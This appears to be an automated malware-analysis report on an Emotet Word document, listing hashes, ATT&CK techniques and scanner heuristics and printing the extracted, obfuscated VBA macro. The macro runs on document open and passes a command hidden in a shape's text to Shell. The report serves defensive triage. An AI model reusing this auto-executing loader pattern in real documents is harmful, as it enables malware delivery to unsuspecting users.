Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 af5a74e47fc0edbb…

MALICIOUS

Office (OLE)

135.8 KB Created: 2018-12-11 16:43:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: fcc8318dc7e7221d8908e277e9d5d851 SHA-1: 9dfe933067b24b629da0ac354e45ce2b90955257 SHA-256: af5a74e47fc0edbbc55e1c428cdafa709f11dddd10914b927460576eda22b9c4
292 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains a VBA macro with an autoopen subroutine that invokes cmd.exe with a complex command. This command appears to be designed to download and execute a second-stage payload, as indicated by the presence of PowerShell references and the ClamAV detection for Emotet. The use of cmd.exe and PowerShell points to command execution, and the autoopen macro suggests a malicious document lure.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-6780510-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6780510-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
     _
.Shell(fiuOmuVi, qHVGfkUWS), wYfdZPpjf)
   HFRToOqFALDwlwTF = (224706231 + Round(ajjsnlQBFUFBoRFoXRWPnLi) * 324377194 - SpDfRwlXqzziOR + (CmJWAwWltwZBiSEPCmpU / Tan(NWnXTdzRHKIzqMBBIzEwDKjs)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
lFhWQUo
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4847 bytes
SHA-256: 642af68338dd3b85054af97c2bf126db9d3172d404fa4ee5168d950fae71f323
Detection
ClamAV: No threats found
Obfuscation or payload: likely
142 of 173 identifiers look randomly generated (e.g. 'NWnXTdzRHKIzqMBBIzEwDKjs') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OrRhjCEQYBWHER"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
lFhWQUo
End Sub

Attribute VB_Name = "WuXAvEX"
Function lFhWQUo()
On Error Resume Next
   hTILiiEasCazojiHiBAzR = (265717628 + Round(sVmaBFmccElDdNJ) * 279658780 - mNSlYihCtNlziEPsM + (qvDCVFazuCjAuYKlM / Tan(WWUmFYHsBiuzVK)))
wTvLksMLaoiWsSMnz = 292065055
   WdrUBmCpEHqLwVj = (226359617 + Round(jaJvmAsXGsOGzWlEplH) * 84533675 - OuzFQNFirUfwVmNSKjdzwv + (ojFkEHJkbVoSjJpWnmpPXjJ / Tan(jYmiBdNpTALWLcAbhkDb)))
UjJVNqMHfVFabAjUiiwH = 339112785
   IbbrcwiDuUzhLSrGZjLwiY = (103593892 + Round(GwGChBqaiaFEsUOlpY) * 188876587 - rUwBWjomDYFjLG + (fscWtiXDlNnNEVaIJvOcl / Tan(FfBNDXFVVsljjt)))
CjXURLnjSjRcPvoz = 198988965
   GRLBrXaiQHilaOQu = (283288209 + Round(HlHZopvjEGqfPjHuM) * 100974446 - wTiczKlTzzdNrzY + (JDhdWGLTTrlszdfBA / Tan(swdIKOCVzjatzhqSzrflm)))
IKJFZtWUUbMGFalBsSaBIis = 174499907
   RCiStuzblwjpJDNONAQr = (129642150 + Round(IpfuikVjOuKjuiGLY) * 267006074 - uGsFrvuvrWRlwJAu + (mwLOGEkoiZJfIBbcdZKQjo / Tan(opdKwIOatnRYadzoCHQNVkQj)))
qJSjpiFwzWYctojPzP = 285516615
   rToNpUfEVbhidvtEhOsZ = (233346116 + Round(nIqMFazZFSmTsFBi) * 237568522 - RhoJzEoWmQQNzKz + (jfWdOFFvWOrJCnDCimHB / Tan(dJmXjoiIrVbWMZVIGr)))
ctnkMfTwNOjLCvIC = 144366113
   TwErSZVOhwvMrfbiCHWHjEm = (179487441 + Round(foDwCJjoiQSqBfZ) * 57100964 - llpHorhNFqiKLOLdlmlRPfn + (XNOInBbzzlSBlwrw / Tan(lwTAiSBGNPsnrfGwij)))
cYaDOlKZwKrnupvdiTK = 296641512
   CFOdfDPDGmXhJwpJumwB = (305713998 + Round(EdBGEhTZrKavzLqCJL) * 298580586 - QHaSzWSNddCLljAl + (ZzhkhvMHNAiTrclHiFz / Tan(jGiPFwNHOKQKFb)))
MLcjLNLlVoulBREDbDirT = 111240274
   zSpOvZBHGDKkLLEnYn = (155630660 + Round(DaKbZnQZVolCTcwjjQXRf) * 57483490 - zHuPrPwizBuRXHOoH + (blRSHRiNUDIPFEu / Tan(NTfYZKYGoAZLbbVb)))
JDWwizdhiusZhvpWM = 301663205
   BKshzowBKbIsnBjiXBHiXKH = (103515116 + Round(VOOXiaPjCOVoZFvqN) * 153372170 - JonkdJdribVqCcOiakdcAsLk + (LpzwMsJnIGihdlOFjkFhYT / Tan(KbUFkuwQcDwRTfuS)))
LCuWkwzzPXRIGCNsinUrm = 167047239
Const qHVGfkUWS = 0
   SpULqCFMdwhDvPftzoHm = (167557558 + Round(ojpCjWzuoaARzsKanBs) * 155512407 - QzGdpHZthhKGsAkWoTiNiH + (DiQmjXBGuBmXkiY / Tan(OZBHtqLHrZDziJJFJtDzYVq)))
jaQEFdAnPYTojAMMTJ = 306855654
   zLOQbAsWkrNmriWY = (233440611 + Round(TWihcAlEqZzsRE) * 164268138 - CLluTFOlHFirtzzm + (GDIiPiNfWKTZrZJNhfLmo / Tan(NHwaXWuLtbKLLAQfmdYP)))
vvMQfVdLRmAsZpAhpLqkLRrO = 208735694
Set BYkrhO = OrRhjCEQYBWHER.Shapes(qVYIj + "tESslznR" + jPajCfCfM)
   CROTWlMjYfSIrAAUt = (52119434 + Round(trQqCpZDHAjjZiYkCawLPiD) * 174218891 - clpjAOGjvHYlbMiwhFjr + (saTQwtzwfPopLZDjUHmazdbz / Tan(aOSOhYTifjLVTBUJkPrkvPma)))
MzwRzPwURXiihzqU = 48015641
   nDTHuwzNnlpPJAUwwHEXf = (189752455 + Round(SdjVwYJdHkXWkYwYFdhdJEO) * 276182242 - luIIKACKLBdNbCpiH + (fldkawjzuwzjOPqFKiAVw / Tan(ULZWVKdbswBVjDlBTKZLG)))
LcnOWVrKimluRSL = 23292253
   jcPwqBVfMzdbmNwhwOdjJB = (61755534 + Round(tQvTwvmRorVomTwjaCnLO) * 20398826 - WDiHAiVdfTfDZGBiR + (MmusHvfQwGGOzVpB / Tan(QOnmiTOpVGPYaYUVwCQ)))
iwmcklOWRVJOYjlUib = 193209678
   ZjOmdmsPscwnAcudsT = (67697133 + Round(zJiZJzdFMIHUHYzshCzX) * 29499270 - zmjwYtwKzSHNTPwpciImCjUb + (bfBvpVnaCJvpNbkJBJpN / Tan(EiusZTORuQRIQwOuPJwUmRF)))
APCYdAaiOkWwGD = 103922595
fiuOmuVi = BYkrhO.TextFrame.TextRange + PmzssI + Htdhw + srKRpou + ujZRnLt + dJMYTTYC + FkiUN + amVcjU + mQEEbbFz + PAZDqzZ + dQTYrtn + KMJwIijC + mmUoXwFD
   YvJuaRGFmtdMGdNYPrTS = (32776378 + Round(ntazUzDkrLNcMzTRw) * 9806046 - JdbOFkcdLvLhUYGI + (UdzICBBSzdQQEzsSH / Tan(oMiUNsUrpfdsEGpCzVDCHbZ)))
GGLMGzSPNdSwmzQFnKMWoGZK = 179591521
   UFtYrQHmmXAvtjquijAVij = (330654234 + Round(NzZXAFFJiAjbjSlwpYLL) * 153120000 - cPaPiBZuKlHPKsrklhRqQtCP + (PuCjFYmGRXJwlWDj / Tan(qvURHtGEndtjfjMLBSHXN)))
MUItVhnzLOGfCH = 312604482
   fZUIabwWilBRQrqzjYO = (173221070 + Round(WftSMYkijKNvZiXuuhYh) * 201443851 - TwdlPzIZjWjtJu + (qODNnwaoWqISCprqsBT / Tan(zobIlaJiqMfZdTDT)))
TqEtIHuGjFkpfqspid = 13586502
   HRuIRXvntcWKfcNAm = (52658082 + Round(WfspklARYaHroPYKNfrPhTR) * 111390502 - FaGpNiUYsjjPbKWRGXNm + (hvGSAVvsKCObLiLtcKsnS / Tan(iovlUUwawDitXfzWNMYjhdVn)))
fLXiNVwSlMSXOAbuj = 41648165
SGftFzfPm = Array(FTHVoJ, wiijbmS, zwLzlwXK, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(fiuOmuVi, qHVGfkUWS), wYfdZPpjf)
   HFRToOqFALDwlwTF = (224706231 + Round(ajjsnlQBFUFBoRFoXRWPnLi) * 324377194 - SpDfRwlXqzziOR + (CmJWAwWltwZBiSEPCmpU / Tan(NWnXTdzRHKIzqMBBIzEwDKjs)))
DFlkusZzkpQVwjVZUllQCsG = 23349787
   ZHERRTRWRiFaowWvoXQEj = (125718479 + Round(DDdWtTmkFhbrPLLfECVjRKk) * 304362306 - iEquuwwGMBOowXDiuAsNH + (kcrLBOmdsSilKPv / Tan(KldkDJzrHiSBWKrjibTOCj)))
jTiIvFLMojEqHkWDbfzEXvl = 44604557
End Function

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